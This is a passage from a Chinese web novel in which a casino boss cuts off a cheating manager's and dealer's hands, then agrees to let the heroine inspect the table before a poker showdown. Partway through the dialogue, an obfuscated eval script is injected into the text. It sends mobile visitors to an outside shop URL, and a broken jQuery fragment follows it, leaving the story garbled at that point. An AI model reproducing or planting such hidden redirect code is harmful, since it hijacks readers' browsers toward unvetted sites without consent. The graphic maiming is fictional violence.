众人纷纷回头。

    就见曼尼奇在一队人马的簇拥下缓步走过来。他脸上没什么表情,眼神却阴沉如水,所过之处,人群自动分开一条路。

    数分钟前,他正在楼上办公室里玩牌,却听下属汇报楼下发生骚乱。

    本以为只是个输红了眼的赌客胡搅蛮缠,直到调出监控画面,才发现不对劲。

    屏幕里,穿牛仔夹克、编着脏辫的女孩弯腰捡筹码,抬眼时眸中闪过一丝兴味。曼尼奇指尖的雪茄顿了顿,让手下把镜头拉近,对准那张画着烟熏妆的脸。

    几秒后,他嗤笑了一声,捻灭了雪茄。

    是菲伊·温斯洛。

    这妞换了身皮就闯进他的地盘撒野,摆明了是来提前砸场子的。

    很快,他心里就有了盘算。整了整衣领,起身慢悠悠地往楼下走。

    见惊动了老板,经理擦了擦头上的冷汗,脸上堆起笑,快步迎上去:“老板!您怎么下来了?这几个人是来闹事的,我正让人把他们抓起来——”

    话没说完,“啪”的一声脆响,曼尼奇一巴掌狠狠扇在了他脸上。

    力道极大,经理被打得偏过头去,嘴角立刻渗出血来。他整个人都懵了,捂着脸不敢置信地看着曼尼奇。

    “混账东西!”曼尼奇怒斥道,“我让你管赌场,你就是这么管的?!伙同荷官在赌具上做手脚,中饱私囊,现在还想倒打一耙,把客人都当傻子糊弄?”

    经理脸色“唰”地就白了,腿一软差点跪下去:“老板,我没有!是他们……”

    “还敢狡辩?!” 曼尼奇的眼神骤然冷了下来,轻轻抬了抬手。

    身后的随从立刻上前,按住了经理和荷官。

    两人脸色煞白,挣扎着想辩解,就被死死堵住嘴。

    曼尼奇已从随从的腰间抽出一把短刀,“我曼尼奇开赌场二十年,最讲公平二字。有人敢背着我在赌具上动手脚,就是砸我的饭碗!”

    说罢,手起刀落,两只右手齐齐落在地上,鲜血瞬间洇开一片暗红。

    经理和荷官惨叫着滚在地上,痛得浑身抽搐。

    周围的赌客全都看傻了,连怒骂都忘了。

    “拖出去,永远不准再踏入赌场半步。”曼尼奇收了刀,随手擦了擦溅到袖口的血,语气平淡得像在扔垃圾。

    处理完两人,他才重新转向众人,扬声道:“各位,今天的事,是凯撒赌场监管失职。这两个人欺上瞒下私设机关,所有后果,赌场一力承担。”

    他顿了顿,声音清晰地传遍全场,“今晚所有在这桌输了钱的客人,全额退款,再赔付双倍筹码。其他区域的客人,每人赠送两千美元筹码,算是我曼尼奇给大家赔罪。”

    话音落下,全场先是一静,随即爆发出一阵哄然。

    原本的怒火随之烟消云散,就算原本有些想趁机闹事的,看到曼尼奇手段如此血腥狠辣,此刻也不敢再出声,反而纷纷称赞曼尼奇做事大方爽快。

    处理完这一切,曼尼奇才缓缓转头,看向菲伊。他嘴角扯出一抹意味不明的笑,目光在雷蒙和莱斯特身上转了一圈,又落回菲伊脸上:

    “温斯洛小姐,提前大驾光临也不打声招呼,底下的人有眼不识泰山,怠慢了可不好!”

    菲伊眉峰微扬,知道对方已经认出自己,索性不装了,双手往工装裤口袋里一插,懒洋洋道:

    “这不是想送你一个惊喜吗?不知这份见面礼……曼尼奇先生可还满意?”

    “惊喜?”曼尼奇舔了舔后槽牙,皮笑肉不笑,“满意,当然满意。温斯洛小姐帮我揪出赌场里的蛀虫,我感激还来不及。”

    他顿了顿,“既然人都到了,大家也别浪费时间了。赌局,不如现在开始?”然后抬手做了个“请”的手势,“楼上有贵宾包间,安静,也没人打扰。”

    菲伊却没动,下巴微微一抬,指向不远处:“那儿不就有空桌吗?大厅敞亮,看着也热闹,何必跑到楼上去。”

    曼尼奇眼神暗了暗,心道:这小妞行事倒是谨慎。

    他若是执意要去楼上包间,倒显得自己心虚。思忖片刻后,他笑道:“也好,温斯洛小姐喜欢热闹,那就依你。”

    随从立刻上前,麻利地清出一张□□长桌,换上全新的牌具与筹码。

    菲伊这才迈步往那边走,雷蒙和莱斯特紧随其后跟,三人看着人少,派头却不小。

    周围的赌客见状,好奇心被勾到了顶点,纷纷停下手里的牌局,三三两两地围拢过来。

    曼尼奇颇为绅士地为菲伊拉开座椅,等菲伊落座后,这才走到对面座椅坐下。

    荷官看了曼尼奇一眼,后者微微颔首,“开始吧!”

    荷官刚要洗牌,就听菲伊开口:

    “慢着。”曼尼奇抬眼看她:“怎么,温斯洛小姐还有别的顾虑?”

    “倒也不是顾虑。”菲伊笑了笑,“就是刚在骰宝桌见识了那么一出,我这人胆子小,心里总有点打鼓。曼尼奇先生当然是光明磊落的,可谁知道底下还有没有第二个第三个蛀虫?万一再有人在牌桌上动手脚,我找谁哭去?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17851010|209455||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    她摊了摊手,半开玩笑半认真:“就当我以小人之心度君子之腹吧。这牌桌、牌具、荷官,总得让我们检查一遍,我才能安心。曼尼奇先生是大老板,应该不会跟我这点小心思计较吧?”

    这话绵里藏针,句句戳在要害上,把曼尼奇差点气笑。

    这丫头先是砸了他的场子,现在又拿“蛀虫”说事,一连串操作下来,当真是好算计。

    如果自己真做了手脚,自然不愿被查。可当着这么多宾客的面,如果拒绝检查,不就证明了自己心里有鬼?

    到时他好不容易平息的怒火就会复燃,这场赌局不用开就先输了,毕竟自己耍手段在先,而赌场的声誉也将彻底葬送。

    可惜,她这算盘打错了。

    他曼尼奇在赌场里混迹多年,一手牌技在洛杉矶排得上号,对付这么个初出茅庐的丫头,还犯不着搞那些小动作。

    “好啊。”曼尼奇靠回椅背,伸手做了个“请便”的姿势,“温斯洛小姐尽管查。查得越仔细,越能还我凯撒赌场一个清白。”

    菲伊冲莱斯特递了个眼色。

    莱斯特立刻上前,先是俯身检查桌板正反面、桌布夹层,又拆开全新的纸牌、筹码逐一核验,最后抬手示意荷官起身,从头到脚仔细搜了一遍,连袖口、衣领都没放过,确认没有藏牌与机关。

    “曼尼奇先生呢?”菲伊抬眼看向对面,笑意浅浅,“不是我不信你,就是走个过场,免得回头有人说我输了赖账。”

    曼尼奇也不废话,直接起身脱下外套扔给身后的随从,又把衬衫袖口一路卷到小臂,摊开双手转了半圈:“这样够清楚了?”

    “公平起见,我也一样。”菲伊说着,抬手脱掉牛仔夹克,随手搭在椅背上,只剩一件贴身黑色背心,自然也没有任何藏牌的地方。

    双方都亮明了姿态,再无半分可藏私的余地。

    就这么一会儿的功夫,赌桌周围已经围了里三圈外三圈。

    后来的客人不明所以,扯着身边的人问,立刻就有老看客眉飞色舞地科普:

    “这妞厉害的很!刚把骰宝桌的磁铁作弊给拆穿了,曼尼奇老板亲自下来处理的,现在要跟老板对赌梭/哈!”

    “这么猛?看着年纪不大啊!”

    “谁知道呢,搞不好就是虚张声势而已。”

    “管那么多干嘛,有戏瞧不就行了!”

    “说的也是。”

    议论声嗡嗡地响,不少人都踮着脚往里望,兴致勃勃地等着这场针尖对麦芒的赌局开场。